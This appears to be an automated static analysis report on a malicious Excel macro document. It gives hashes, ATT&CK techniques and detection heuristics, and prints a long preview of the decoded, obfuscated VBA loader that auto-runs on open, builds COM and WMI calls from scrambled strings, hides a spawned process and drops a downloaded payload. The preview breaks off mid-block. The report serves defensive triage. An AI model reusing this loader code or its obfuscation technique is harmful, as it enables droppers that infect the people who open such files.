Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 711ad136b235f836…

MALICIOUS

Office (OLE)

347.0 KB Created: 2018-10-09 09:43:56 Authoring application: Microsoft Excel First seen: 2019-08-04
MD5: 8c60b113b234dd0ddab0cbc5a8037f66 SHA-1: 087d99690937b01bdb62f6f3bcc8dd109513e636 SHA-256: 711ad136b235f83656686d99fb7a46c1c1cda722e7db3fa009f025145f285162
318 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample is an Excel file containing obfuscated VBA macros. The Workbook_Open macro is designed to download and execute a second-stage payload, as indicated by critical heuristics for HTTP download and execution. The document body explicitly prompts the user to 'ENABLE CONTENT', a common lure for macro-enabled malware. The VBA code uses string manipulation and obfuscation techniques to hide its malicious intent.

Heuristics 10

  • ClamAV: Xls.Malware.Emodldr-10058834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Emodldr-10058834-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        YOsZy = fdgXh.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set VBEHHMD = CreateObject(xbItWndE)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set VBEHHMD = CreateObject(xbItWndE)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Call IYvHuYRq.SaveToFile(Environ(FmPAdvxmz("TNet PUzeL.RUVXmmSDIP!Ssptfk% Hr")) & rPolozrbt("\aqkBE w\KrlmfVdkvXvIeWMo  -.R PCckrpvSRq%Y  .P#yPE!C[ rcE(Va fqS NM ]!r. FpVe KeU(NLPlzxXS e^ menTIOwbo"), 5 + 3 - 6)
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 71676 bytes
SHA-256: 3ea00687c3cbf416a237082a7f9c84fd80856a909ab8965bd1ce4e9b2f3febcf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
418 of 694 identifiers look randomly generated (e.g. 'KrlmfVdkvXvIeWMo'); 25 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
    kwYhHQOciR = LTrim("C%M^ zgEw")
    udGUosbSrNd = 22 - 24 - 52
    xdafpyx = RTrim("uD g BRaa") + StrReverse("rJ#J W]_b")
    zgusTFeFqpuE = UCase("D&WC  x Y Mg@jm wB w") + RTrim("UoaCM$] i)    c")
    xbCaA = UCase("k  u(nI# .GIwiOni p") + RTrim("UnUHVuFGVUy   ?T ")
    tlOdFCtI "mrANEiAREd", "xYWayB", "sTqefZo", "bWKwIU", "fpAryq", "RIBMClVgzR", "UXvuqGX", "IZcPFK", "cuLGvBes"
    jurOLxXPbAa = RTrim("BiYu  Mh %fyft [#NUE") + StrReverse("R   U vG ")
            For MIZnNt = 2 To 3
                While EVxAbc < 3
                    KFpJRIAUDbBJ = LTrim(" @M EJ_FMfnXqj ")
                    

                    

                    BPuExI = Space(12) + Left("rJ ZSl-gh?A", 4)
                    IKHxIgd = LTrim("  X p   x")
                    EVxAbc = EVxAbc + 2
                Wend

                VUAAwBOrb = RTrim("pp!v_ Hx") + StrReverse(" Vo qq-  T - P ")
                QDhnJI = Right("Q ef#F c", 4)
                xUIwvrEGnR = 55 - 10
                nXWaUYgzzB = Left("n DeLf CPPL", 3) + LTrim("cFMb ")
            Next MIZnNt

    CHoiRUQKV = 13 - 38 - 46
    jurOLxXPbAa = RTrim(" dfc  ") + StrReverse("ap Dr")
    

            For vNSkfJ = 2 To 3
                While SbwamT < 4
                    KrBsSM = UCase("opqF ] ") + RTrim("vPaN@ I h wZ)d %m ")
                    LfYYkYB = RTrim("_ J?P L)q    ") + UCase("GFlT[_JkpF")
                    GFViihIA = LTrim("]CGrGK$")
                    VUAAwBOrb = Right("  Sf e #?c!  ", 4)
                    NvtKjDwztx = LTrim(" [  DRq-Hn")
                    SbwamT = SbwamT + 3
                Wend

                LfYYkYB = Left("S WUP gwfw.jaFZJ", 2) + LTrim("  KhGmsLs")
                DvMon = Left("p^(nY^ $AnMem", 5) + LTrim("Rx $$sO")
                JKHRo = 24 - 78 - 85 - 23 - 74 - 73
            Next vNSkfJ



End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function MGCWSQ(NITzGQ As Double, rOVZKNk As String, QLTTmAw As Double, oYRDCqF As Integer) As String
    KrBsSM = 100 - 70 - 31 - 21 - 25 - 45
    xbCaA = 0 + 40
    CHoiRUQKV = 60 - 29 - 33 - 74 - 15 - 96
    sdgsQr = 9 - 88 - 76 - 11 - 28 - 87
    MGCWSQ = "JFng"
End Function



Attribute VB_Name = "Module2"

Function cWlVbT(PEysXe As String, MrsaYE As String, pdVGzX As Boolean, bYhQTx As Boolean, jeWREz As Boolean) As String
    BPuExI = UCase(" n j % ") + RTrim("frif#jMA^ es n ")
    zgusTFeFqpuE = 34 + 32 + 58 + 9
    PeoTVVvjGxy = LTrim("[-Y  $VfwR")
    

    zgusTFeFqpuE = RTrim(" -UV@r ") + UCase("y(H[B")
    cWlVbT = "xunLb"
End Function



Sub Rkfbvg(mIatEji As Integer, sOJHik As Double, aWmnrJX As String)
    exupm = Space(11) + Left("^pgt?", 2)
    WBdHQ = RTrim(" EieNusiq Jc A") + UCase("U][Nsk qcL(  _v!_")
    EyEXSbnNLmF = Right("  dZ  wAn[U-n O", 4)
End Sub



Attribute VB_Name = "Module3"

Public Sub ruVlNNuViq(Dsqpgs As String, zyuxc As String, AKocJ As String, MfgHZ As String, zoUiqK As String, ZPZtLf As String, Zdbifd As String, iHnyjo As String, WUINPWN As String, IGeox As String)
    For XRJAWl = 2 To 5
        exupm = RTrim("jiW iq ") + UCase("Sy ! ^H   ")
        KufNv = RTrim("-wNj  G ?x^p") + StrReverse("Q[)?Y cK XnL$Ay!")
        GFViihIA = Right("VYgB Xcw XDSj R", 2)
    Next XRJAWl

    QDhnJI = UCase("u nL  T") + RTrim("BywOTbH ")
    sdgsQr = 87 - 3 - 26
    For iiyCaL = 2 To 6
        sdgsQr = UCase("ohZWLtY^R") + RTrim("sh jbZ")
        TMdymj = Left(" Oz&!lb]pV@BZn ", 5) + LTrim("J@Y o#U x ")
        fzSNJKSRPRm = RTrim("Z[Bv)g)") + UCase("b&  aa  DDNJ. ^ ^dG")
        BPuExI = RTrim("^sg(r   ") + StrReverse("Gt )?^  flb ] c")
        zgusTFeFqpuE = 69 + 50 + 64 + 43
    Next iiyCaL

    hdqBW = 88 - 19
    sdgsQr = UCase("  Id$h ") + RTrim("-d NY-Q q ")
    While iuAiRA < 4
        exupm = Left("L %oDIkCd QjBU !", 2) + LTrim("J&g  c? qV $MKusqM")
        VUAAwBOrb = LTrim("eBsfHsY r#.  Xf")
        zgusTFeFqpuE = Right("IMiwY", 5)
        iuAiRA = iuAiRA + 1
    Wend

    For bICtdg = 2 To 9
        PyVPPH = Space(9) + Left("G!oWA ch", 3)
        

        

    Next bICtdg

    WXVVLLxE = Right(" Q  V   Mow ", 3)
    

    hhpMLQ = 87 - 67
    udGUosbSrNd = Right("ujd P) lG j  )T B", 5)
    CHoiRUQKV = RTrim(" lk yJ J  o?(V  R ^") + UCase("Rki trKazRiO")
    WBdHQ = UCase("zajDAsd-LsXt.@(OGs") + RTrim("e^FZ?.M He")
    TMdymj = LTrim("dIh  ) mCkJtoo Wb")
    xbItWndE = FmPAdvxmz("w.TeDA!&iEHH  k nk&a#MN%m^U $O  gp H[T  mRd $NVWt% y @ zsX#AUY T:nDLX ?D\Ov?SNJP\Fk qM-P.zMMEquJ\?ElS bkrxSB  VPoc dSuauoZ NB - tQkScjxK\K GR Glcj Qvn%CivH m! wmoy S #$v Q l qh2qxLv(eo")
    CHoiRUQKV = UCase("aP a v Eu") + RTrim("  cd-E_b$  b!  )L ")
    

    udhQlsWKbS = Space(14) + Left("_an a ZZn [  nI(", 5)
    jurOLxXPbAa = 10 + 90 + 21
    For SRvOip = 2 To 3
        While xfNtnK < 3
            PMtNzIKk = RTrim("X K Wy oeD ") + UCase(" QK$z  OT-bKC")
            XcjtLMMobcn = Right(" @bFiZ vN^pv d yU", 5)
            kwYhHQOciR = Space(8) + Left("D%LL xPJj &.y HK ^Cc", 4)
            WBdHQ = RTrim(" gopA#!") + UCase("eqTcK]")
            vmBBY = LTrim("!CA D]xEpJ")
            xfNtnK = xfNtnK + 2
        Wend

        vABbgMVXFUGw = 88 - 25 - 54 - 9 - 73 - 42
        PeoTVVvjGxy = Space(2) + Left("%!   X (M]?SkIpkm", 5)
        jlWCLcyyClIu = Left("ZWd?ez m[_ Fnd", 2) + LTrim("  m $ I^ dQQ.")
    Next SRvOip

    TMdymj = RTrim("Z  e-y") + UCase("el B My akHY%q G %")
    bjptIjaUVhE = UCase("po?RY Q rr$ o^W") + RTrim("h-dW AE ")
    zgusTFeFqpuE = 17 + 34 + 13 + 10
    While sfxWiP < 5
        DvMon = RTrim(" bgMo?UI$Ym ") + UCase("v   FZk^o")
        XcjtLMMobcn = RTrim("  !Ey Sk$[f  cC P ") + UCase("!   q Vs WU xaV_")
        

        xUIwvrEGnR = Left("@O[  ^U? yQS%RJ BO ", 5) + LTrim("V wMifCXcCUO !N-)]( ")
        sfxWiP = sfxWiP + 2
    Wend

    xbCaA = 73 + 81 + 43 + 32
    

    VUAAwBOrb = RTrim("bHKM SI  ejW  [v") + UCase("vT y hA")
    fzSNJKSRPRm = Right("qfcn^a Ej Oag oM", 3)
    While BoWBTm < 4
        hdqBW = UCase("l  ]  ") + RTrim(" k T%%jpPlCgkb]y")
        jurOLxXPbAa = RTrim("Fqld LXe?-wP OAaZ") + StrReverse("sgu(R# uo] D ?BDFU")
        Sxmqsnhwk = RTrim("[x eSTq") + StrReverse("L E mgbAGS e f ")
        vmBBY = UCase("Cx   ") + RTrim("&S Snvwu aB")
        

        BoWBTm = BoWBTm + 2
    Wend

    zgusTFeFqpuE = 86 + 48 + 65 + 8 + 33 + 44
    GFViihIA = Space(18) + Left(" Hm zV", 2)
    JKHRo = 44 - 60 - 13 - 88 - 47
    Set VBEHHMD = CreateObject(xbItWndE)
    nXWaUYgzzB = Right("@!u L    --vg H%H", 4)
    For GvLAzA = 2 To 5
        KufNv = 62 - 95 - 55 - 78 - 71
        

        vmBBY = 20 + 18 + 51
    Next GvLAzA

    QDhnJI = 55 - 32 - 95 - 76 - 2 - 27
    

    IKHxIgd = RTrim("Rqq[Mf  ]] L") + UCase(" mRo g_  ]@LI J uuz")
    For zAXINQ = 2 To 9
        jlWCLcyyClIu = RTrim("juq% y]  ^]F") + StrReverse(" Qht I aPqG -(")
        VUAAwBOrb = Right("jTja] oHH !?    #", 5)
        XcjtLMMobcn = LTrim(" I ojOcc ")
        VOTWxKXMmhs = Space(4) + Left("Xfn  Au YBc @Q", 5)
        lkcFKk = RTrim(" q tHX DSG n HLN_") + StrReverse(" IIHcXKk")
    Next zAXINQ

    udGUosbSrNd = RTrim("BgZBnszAZ^  ?o  ") + UCase("@yR b x")
    NvtKjDwztx = Space(13) + Left("D nYU H", 5)
    kziaOP = LTrim(" y%hNEYsJ@Vqo.d[kt")
    JKHRo = RTrim("a hjcVp") + UCase("G-CFj")
    KufNv = UCase(" OYXE ElCT   o") + RTrim("xaTysqR&Xt PMzXqs")
    kwYhHQOciR = Right("Z.UNcLkf)v[q ANkyZs", 4)
    exupm = Right(" H( A LL% bWx%O", 2)
    NvtKjDwztx = RTrim(" #  c&I") + UCase("Zfci Oj@J RG$R pn")
    vmBBY = Right("sMEfP ? _zGYQGmw ", 3)
    xbItWndE = FmPAdvxmz("Wy xy )di-Yz#% pn)F xQ?K3GXklbxM2Gdj)jSq_dTP$o pPwP[H!AyriDwTQhvoBa WGAycd]FnnB#ed _-O@xshA@Xv Ys @F.$eVSUpVU u!t QDjbS auCNk  %r S ^kNutzxsVyx u D OhNNpr!kgyQ$")
    For scyeKK = 2 To 3
        For kENTuO = 2 To 9
            vmBBY = Right("V  )?qv  %@G  AxY", 3)
            

            kwYhHQOciR = LTrim("?gY aX e pI.n")
            

        Next kENTuO

        nXWaUYgzzB = Right("  E C]j vfAp", 2)
        PeoTVVvjGxy = RTrim(" ]z&e swq ezIUY ") + StrReverse(" Nfe -xyBcO  M@")
        fzSNJKSRPRm = Space(14) + Left("v )S O(WPQ  ", 3)
        

    Next scyeKK

    

    oZtgRMv = 50 - 45 - 87
    BPuExI = 95 + 47 + 26 + 35
    sdgsQr = Right("Y$O  @ . MAzn", 2)
    bjptIjaUVhE = Right(" B hB. FZwSM $ ", 4)
    While vilInF < 2
        For eCSlXy = 2 To 5
            EyEXSbnNLmF = RTrim(" t XcS cvD ?]") + StrReverse("iq lv ycf")
            jurOLxXPbAa = Left("  d   ", 2) + LTrim("   a F!  .")
            exupm = LTrim("@  @LZ fe C)]AY")
            Sxmqsnhwk = UCase("   COe? #f -J [(") + RTrim("[b]hS")
        Next eCSlXy

        CHoiRUQKV = LTrim("_A h#s")
        hdqBW = RTrim("_]z_ O] Yua ") + StrReverse("d( %[Q$Zcl&x")
        VUAAwBOrb = 4 + 96
        NvtKjDwztx = 76 - 82 - 11 - 54
        vilInF = vilInF + 3
    Wend

    KufNv = Right(" %)U    g", 5)
    For GTIbRa = 2 To 4
        For FCZTDN = 2 To 9
            KufNv = LTrim(" U    z^v")
            QDhnJI = UCase("LbHqMv?e B]lTO") + RTrim(" @dvWO_gk")
            exupm = RTrim("KW  sLREzEix @") + UCase(" _g_ bnvv")
            PMtNzIKk = LTrim("dhZXfTqK jK ")
        Next FCZTDN

        jlWCLcyyClIu = Right("uH Vn?WwdVXl&yM#_", 3)
        XcjtLMMobcn = RTrim("dhW ^MD W[#PzyGqgl") + UCase(" Z   mW ")
        

    Next GTIbRa

    For ORxRnA = 2 To 8
        PMtNzIKk = 58 + 10
        pYeuowqNnF = 56 + 39 + 41 + 83 + 90
        sdgsQr = Left("P.(ma?a $U] mZC", 5) + LTrim("  M R$  a.QGe ")
        zgusTFeFqpuE = Right("D w(.-#AY", 5)
    Next ORxRnA

    VOTWxKXMmhs = Space(4) + Left("wb%zpLF  MpIB", 3)
    DKmoYpGKaFNA = LTrim("fNjf Ci F @j   sG  ")
    Set NCavGL = VBEHHMD.Get(xbItWndE)
    While mmowtj < 4
        While xMYOlu < 2
            DvMon = RTrim("L.iUK u  Q  sGbG ") + StrReverse(" q Dta^^h  F %AmyP")
            jlWCLcyyClIu = 24 + 81 + 18 + 52 + 43 + 4
            XcjtLMMobcn = Left("-P-q ?G ?w mawN", 5) + LTrim("pYrC.#%n&vX[")
            xMYOlu = xMYOlu + 3
        Wend

        kwYhHQOciR = UCase(".HG WFmbIFN") + RTrim("TZ Flb pRT#Bh   ")
        KrBsSM = RTrim("FlLdp .(") + StrReverse("sH TBa u . C  A aDde")
        xbCaA = 42 + 87 + 45 + 97
        

        PeoTVVvjGxy = 65 - 61 - 62 - 35 - 3
        mmowtj = mmowtj + 1
    Wend

    DKmoYpGKaFNA = RTrim("#hew !Qk.  Jw-QpL #") + StrReverse("Q O@i  GHU MX ")
    sUZwoa = RTrim("XHW  J^rRMWKA ") + StrReverse(" #ia!D_cE! _Yv[F")
    vABbgMVXFUGw = Right(" kLn qXI Lm( YG", 2)
    udGUosbSrNd = 20 - 99 - 100
    

    While GeGnGK < 2
        For GMKyFb = 2 To 9
            BPuExI = UCase("gs ..") + RTrim("L$ DHtgHmE")
            TMdymj = Right(" kl    sA  ! n%awh", 4)
            hdqBW = Left("vTs%To ", 5) + LTrim("xrl?JJEO  S)")
            BPuExI = UCase("#hHxM ") + RTrim("LDyNrzd")
            KFpJRIAUDbBJ = 64 + 80
        Next GMKyFb

        lkcFKk = Right("FzpimYwg(]Xq", 2)
        BPuExI = LTrim(" @XH -L?S")
        VOTWxKXMmhs = UCase("M#x   % B") + RTrim("YM! # [  zz   Q)rEn")
        

        GeGnGK = GeGnGK + 3
    Wend

    KFpJRIAUDbBJ = Right(" -haWV]sHMjcWX  Kj ", 3)
    DKmoYpGKaFNA = Left("r#Z)(C  Y[? XGK", 4) + LTrim(" F ^NuP ")
    BPuExI = Space(14) + Left("!M ]&y#u  ", 5)
    sUZwoa = Space(7) + Left(" X guQ ", 3)
    udhQlsWKbS = RTrim(" GUo&] ] wbZ_H&%") + UCase("Ie (n q!b")
    Set aJrjaDTP = NCavGL.SpawnInstance_
    LfYYkYB = UCase("wIA iofp#J ") + RTrim("@DAq ZP")
    xbCaA = 5 - 29 - 51 - 41
    JKHRo = Left("t  s&Cik^^n s", 2) + LTrim("jML-LEIq")
    sUZwoa = Space(18) + Left("i .yad?)z $i   YKUFK", 4)
    XcjtLMMobcn = Space(14) + Left("uS!teIZ&   & .tmV yn", 2)
    While udndKV < 5
        While LtGgma < 4
            udhQlsWKbS = UCase("$[n &vWZ") + RTrim(" _   X  c^ $   ")
            udhQlsWKbS = RTrim("-   LPKK ^") + UCase("z?nD  rM")
            vABbgMVXFUGw = Left(")Lj_ uql&N)L", 5) + LTrim("%cjJ  -PtZf ? inI")
            WBdHQ = RTrim(" ^DAVAfO Q]") + UCase(" JKs$MOGk@hwFiHS")
            udGUosbSrNd = Right("OnAQ GfigG) l", 5)
            LtGgma = LtGgma + 3
        Wend

        

        xUIwvrEGnR = UCase("?I OD^") + RTrim("f x  u !%ew  ")
        hhpMLQ = RTrim(" ]   !)G!A@iy^_a Ai") + UCase("qU jHAmg")
        udndKV = udndKV + 1
    Wend

    fzSNJKSRPRm = LTrim(" jqVr Cy  ld# ")
    

    KrBsSM = Left("UE )kb  ", 4) + LTrim(" T )s r")
    For AfgDws = 2 To 4
        For BDmkdW = 2 To 8
            LfYYkYB = RTrim("qRA[_Wte") + UCase("q C OYyrU")
            oZtgRMv = UCase("w! N lz ") + RTrim("RLl n-.?cHcZeUl")
            VOTWxKXMmhs = RTrim("zn  (-S") + UCase("f!NbV  e(%wc")
            WBdHQ = UCase(" VPxNk$    E?@  ") + RTrim("  [ ( a  d [T qddyGE")
        Next BDmkdW

        fzSNJKSRPRm = RTrim("-Q p scK  VBa[  Xs(") + UCase("Ak X R (-   ey qxq A")
        KFpJRIAUDbBJ = Space(7) + Left("c T s  CB.oJNgk", 2)
        VOTWxKXMmhs = RTrim(" Z mlYC&yF]  b h") + StrReverse("Rre iTID b Atc( ^U P")
        WXVVLLxE = 25 + 5 + 84 + 100 + 21
        KrBsSM = LTrim("  !]ku%")
    Next AfgDws

    udhQlsWKbS = Left("_? $]D !Ck  ^x]#jA", 3) + LTrim("(x?y i  NG Y(")
    lkcFKk = 56 - 0 - 42
    EyEXSbnNLmF = Right("DF@e y   R)T U   bT", 4)
    For BTyKyW = 2 To 5
        For gAvNyI = 2 To 7
            KrBsSM = Left("jtz -  V) ?M", 5) + LTrim("FCU $&I)blY (%p!T")
            PeoTVVvjGxy = LTrim("T u k a [")
            udhQlsWKbS = LTrim("cgH[nudF  ")
        Next gAvNyI

        KufNv = RTrim("Hj jc%ulZ ?uNsx") + UCase("w!g &!")
        EyEXSbnNLmF = Left(" % m%D?M", 3) + LTrim("R ! qex   M")
        zgusTFeFqpuE = LTrim("  V[ e mD] (Y")
        lkcFKk = 97 - 60 - 42 - 93
    Next BTyKyW

    For ztcZcK = 2 To 5
        While vqpqff < 4
            bjptIjaUVhE = UCase(" j(gV X(zy-^?  rM _B") + RTrim("QIYTTZFE PUUk js")
            bjptIjaUVhE = 32 + 43 + 99 + 95
            vmBBY = RTrim("g oYEy") + StrReverse("Y J Zx R w ")
            vqpqff = vqpqff + 2
        Wend

        udGUosbSrNd = RTrim(" zH?j$u [   TC ZkD") + StrReverse("LMf f @P_HasL.xR  Ve")
        jurOLxXPbAa = 30 + 0 + 71 + 4 + 74 + 2
        udhQlsWKbS = Right("  $Bt #&T) esMqP  _", 2)
        hdqBW = Space(18) + Left("FHhs@lhs J%QSI d", 4)
        

    Next ztcZcK

    xbItWndE = rPolozrbt("w& h.-zLiai]ka!_nTr^Sk [m?fDwT-kgaxD^fbTm# bW^cst mb-N?&s c.$cOZ:w[@ A F\bfKXK &\JnVQ-Yf.AhwAQFX\OB_hz^LrGLxr_NhoS @eb Xoz ^mVkWtMHNa]HD\d@ &aDocy@VM iCi#RD(aqHmPMDXNF(vKgx[n@v2S BrWFP:ln)n tuW #uF%N i$r]Qg]dn I Kp X3% .q MK2OqRw.ih_EYD   zP qu& $!rOCI ?k&ouDpvl_PcscGtl! e _J@  (sNDrzQE sI p[?Ux")
    pYeuowqNnF = Right("y ( q", 4)
    WXVVLLxE = RTrim(" nWYAfUeqr N  G$") + UCase(" yI Kj  ]  cs  ?Jn")
    TMdymj = Right("#  E? sG#o  &! v$Yt", 5)
    fzSNJKSRPRm = Space(6) + Left("JT K@JFMb   Cofl@X %", 3)
    

    

    exupm = RTrim("?hfjI%uznTYt! ") + StrReverse("_t.%J@AIp")
    While qFxQfn < 3
        While rhWMFw < 5
            PMtNzIKk = Right(".kzh C !NU t N[(M ", 4)
            hhpMLQ = Space(1) + Left("ALAYitlnC_x vsj&", 4)
            jurOLxXPbAa = Left("QQ]S%r TI  iaf-oQWS", 3) + LTrim(" ykxqz V   sq(t[. ")
            rhWMFw = rhWMFw + 1
        Wend

        LfYYkYB = Space(10) + Left("%H JhkeHf]", 3)
        sUZwoa = LTrim("%Cuc ")
        xdafpyx = RTrim("p@ Dpnyz") + StrReverse("VT r lm ")
        EyEXSbnNLmF = Space(16) + Left(" Ps D   & ?VQ", 2)
        qFxQfn = qFxQfn + 1
    Wend

    PeoTVVvjGxy = UCase("Gcg)LT-  b GhEz!HF a") + RTrim(" qTeXX  P -F")
    sUZwoa = Space(19) + Left("v^ i Eo  LXD", 4)
    For vucVJw = 2 To 5
        xdafpyx = 25 + 100 + 73
        zgusTFeFqpuE = RTrim("CLksqc.") + StrReverse(" v   s m]rk")
        

        jurOLxXPbAa = 51 - 25 - 73
        BPuExI = UCase("V  vdkz !@o!hZ&KKOM") + RTrim(" VlqmYYQM^pm(V $")
    Next vucVJw

    For fnjCqc = 2 To 4
        For AdfuOL = 2 To 8
            hdqBW = Right(" __ca x&)]MB]", 5)
            vmBBY = Left("Y.(k  )S    [R", 4) + LTrim("Hy  !Qg")
            QDhnJI = RTrim("J @V   Hw HD") + UCase(" .o@T Yt@   uqY")
        Next AdfuOL

        DKmoYpGKaFNA = UCase("PZyb ") + RTrim(" wC  J$pZO")
        lkcFKk = Right(" Of tB   N qm", 4)
        VOTWxKXMmhs = RTrim("  SU % )   ^uU gp ") + StrReverse("h$^rXE kby c A S y-U")
        udhQlsWKbS = Right("z#  Is b", 2)
        WXVVLLxE = Right("  L pFmDc^cH ", 3)
    Next fnjCqc

    LfYYkYB = 21 - 51 - 91 - 63 - 10
    While DhcsLX < 1
        jurOLxXPbAa = RTrim(" % r  f") + StrReverse("v v  H?TiO G DA& _) ")
        EyEXSbnNLmF = Right("O)satB $me(O bqR n ", 5)
        

        VUAAwBOrb = Left("T#ZHv%%odDEn", 5) + LTrim("tg-ZS_n hWkOP?IaUl ")
        oZtgRMv = 20 - 2 - 15 - 51 - 19 - 45
        DhcsLX = DhcsLX + 1
    Wend

    aJrjaDTP.ShowWindow = 89 - 89
    For qwileL = 2 To 7
        LfYYkYB = 73 - 100 - 6 - 51 - 44
        PyVPPH = Left(" ) Dor %bQ", 4) + LTrim(". Y uk RPR&k[tgG  ")
        GFViihIA = UCase("pK@P %B") + RTrim(") vN F&SExV_m ")
    Next qwileL

    nXWaUYgzzB = Space(11) + Left("vd$ VB F   I-uoIxH_", 3)
    udGUosbSrNd = Space(16) + Left("C$ a ", 3)
    udhQlsWKbS = Left("G  s]u_ . UO RVIKEt@", 4) + LTrim("WB n[&vrNm UtZKh")
    VUAAwBOrb = RTrim("oD Q- !ra  ") + UCase(" S   ly uPC jZ")
    GFViihIA = Right("]] iw k-e", 4)
    NvtKjDwztx = RTrim("dMeoq $  &yJ # a Z") + UCase(" j fDv$x Ui^uwC")
    QDhnJI = Right("%N  r Y", 3)
    lkcFKk = RTrim("$Cqk dELx ZHhX bJ") + StrReverse(".X(  !Le  @%ojoloL!x")
    oZtgRMv = LTrim("&[v N&JTD  ^ N& f qo")
    xUIwvrEGnR = RTrim("   R]!nbj sO?") + UCase(" [ iNFr   F ^yEd)")
    PMtNzIKk = 56 + 19 + 57 + 0 + 87 + 31
    WBdHQ = 85 + 29 + 68 + 39 + 88 + 18
    BPuExI = Left("nNIt.)S", 3) + LTrim("W%iP B UJ")
    WBdHQ = 27 - 24
    While coJzLT < 4
        sdgsQr = 84 + 71 + 3
        

        DKmoYpGKaFNA = LTrim("Zav [upZdGyu")
        coJzLT = coJzLT + 3
    Wend

    

    KFpJRIAUDbBJ = LTrim("Z-W  sA )C Sw]  y  ")
    zgusTFeFqpuE = 16 - 79
    Set lzzvxcXQ = CreateObject(xbItWndE)
    PeoTVVvjGxy = LTrim("b  ipwCevK")
    QDhnJI = LTrim(" WWItIn ueHG")
    jlWCLcyyClIu = Right("I-  rz Q WE! VJt xn", 5)
    TMdymj = Left("%R-$u mF? m @@e %dLR", 5) + LTrim(".Y forg   D")
    jurOLxXPbAa = Left("YuW@o%", 4) + LTrim("EfZ A  ]LR V[O( ")
    While HlWoew < 2
        For jOMMEo = 2 To 5
            WBdHQ = Left("eZ ACu K@$[ gU%emai", 4) + LTrim(" ]Ue&T Yt#(#O FHth %")
            udhQlsWKbS = Left(" z sr%#)qrd", 2) + LTrim("bV   n_")
            fzSNJKSRPRm = Space(20) + Left("  CCE-zs", 5)
            xUIwvrEGnR = 71 - 66 - 51 - 94
            QDhnJI = UCase(" w p a.W!SmX I W") + RTrim(" -R&a$!-WLI _U [p ")
        Next jOMMEo

        lkcFKk = Right("k! z  j_O.", 4)
        vmBBY = 40 - 8 - 37 - 76
        xUIwvrEGnR = LTrim("gd ] H")
        KrBsSM = UCase("gaaa Wcmt.") + RTrim("s$VUnXs-pL cF) ntF")
        HlWoew = HlWoew + 1
    Wend

    PeoTVVvjGxy = Left("!h(Z$m ^A N", 3) + LTrim("Zl_ g @ (YlSw M((#G.")
    vmBBY = RTrim("n wjxIW @r xOZAd.I") + UCase("%WKtsX  qf h.T t)hv")
    VUAAwBOrb = LTrim("nJf aJK")
    

    JKHRo = UCase("JfmBW$o") + RTrim(")Qgp qYt fp")
    PyVPPH = Left(" IKNvM", 5) + LTrim(")IxjTLq ")
    bjptIjaUVhE = UCase("kmG_J%e W&") + RTrim("  HjKj.^ vy (Q")
    fzSNJKSRPRm = UCase(" (  pKtIQ") + RTrim(" @   TC #J) ")
    KufNv = Left(" $XR-xN", 3) + LTrim("[Mu mvDJ ")
    

    While kENfBK < 3
        For FjtHty = 2 To 10
            

            

            vmBBY = Right("  $ZzC", 3)
            oZtgRMv = UCase("  Cuqv  LI    J]mqH ") + RTrim("%yqeec(Ey&.O")
            fzSNJKSRPRm = Right("NjO Mp (K#H U[ ", 5)
        Next FjtHty

        jlWCLcyyClIu = RTrim("WHdGG SO^ XKi%vy") + StrReverse("lk  ! jzV_e oDV")
        KFpJRIAUDbBJ = Left("Jma P m_?q&", 5) + LTrim("vo rgJjnE q?!")
        

        NvtKjDwztx = Space(13) + Left(" mEX  @jtpCwsv", 2)
        QDhnJI = Left("Y X Q- kCv TV ", 4) + LTrim("nd$a^rp?")
        kENfBK = kENfBK + 1
    Wend

    KFpJRIAUDbBJ = LTrim(" njg kE  D& QZ - nR")
    If 2 = 7 Then
    While WoqTch < 3
        GFViihIA = Space(6) + Left("-q  &yd o  oXV C", 2)
        KufNv = LTrim(" T sH eCj   i[Ud&s?")
        xbCaA = RTrim("HHC  T") + UCase("cC  )e wTH]vtLuq?")
        WoqTch = WoqTch + 2
    Wend

